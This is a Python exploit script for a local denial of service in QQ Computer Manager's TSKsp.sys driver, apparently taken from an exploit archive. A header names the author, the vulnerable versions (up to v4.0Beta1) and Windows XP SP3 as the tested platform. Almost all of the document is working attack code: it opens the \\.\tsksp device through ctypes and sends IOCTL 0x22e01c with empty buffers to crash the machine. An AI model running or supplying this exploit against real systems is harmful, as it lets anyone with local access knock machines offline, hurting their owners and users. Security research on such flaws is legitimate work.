QQ Computer Manager – ‘TSKsp.sys’ Local Denial of Service
#!/usr/bin/python ################################################################# # # Title: QQ Computer Manager TSKsp.sys Local Denial of Service Exploit # Author: Lufeng Li of Neusoft Corporation # Vendor: http://pcmgr.qq.com # Vulnerable App: http://dl_dir2.qq.com/invc/qqmaster/setup/QQPCMgr_Setup.exe # Platform: Windows XPSP3 Chinese Simplified # Tested: QQpcmgr v4.0Beta1 # Vulnerable: QQpcmgr<=v4.0Beta1 # ################################################################# from ctypes import * kernel32 = windll.kernel32 Psapi = windll.Psapi if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 CREATE_ALWAYS = 0x2 DEVICE_NAME = "\\\\.\\tsksp" dwReturn = c_ulong() out_data = '' in_data = '' driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, CREATE_ALWAYS, 0, None) dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x22e01c, in_data,0, out_data, 0,byref(dwReturn), None) |